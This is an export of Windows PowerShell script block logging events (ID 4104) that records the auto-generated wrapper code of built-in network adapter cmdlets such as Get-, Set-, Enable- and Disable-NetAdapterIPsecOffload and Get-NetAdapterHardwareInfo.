$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterIPsecOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterIPsecOffload' -Alias '*'
ScriptBlock ID: 4efada9c-e56e-40d9-a637-a4bb98935404
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1924 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-91fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
werShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Set', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterIPsecOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterIPsecOffload' -Alias '*'
function Enable-NetAdapterIPsecOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterIPsecOffloadV2SettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvo
ScriptBlock ID: 4efada9c-e56e-40d9-a637-a4bb98935404
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1923 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-91fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterIPsecOffloadV2SettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterIPsecOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterIPsecOffloadV2SettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterIPsecOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterIPsecOffload' -Alias '*'
function Set-NetAdapterIPsecOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterIPsecOffloadV2SettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.Po
ScriptBlock ID: 4efada9c-e56e-40d9-a637-a4bb98935404
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1922 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-91fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterHardwareInfoSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterHardwareInfo
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterHardwareInfoSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterHardwareInfo.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterHardwareInfo' -Alias '*'
ScriptBlock ID: 7ba32756-b46a-43a4-9c8a-6af12d037632
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1921 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-8efe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
l.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType]
${EncapsulationType},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
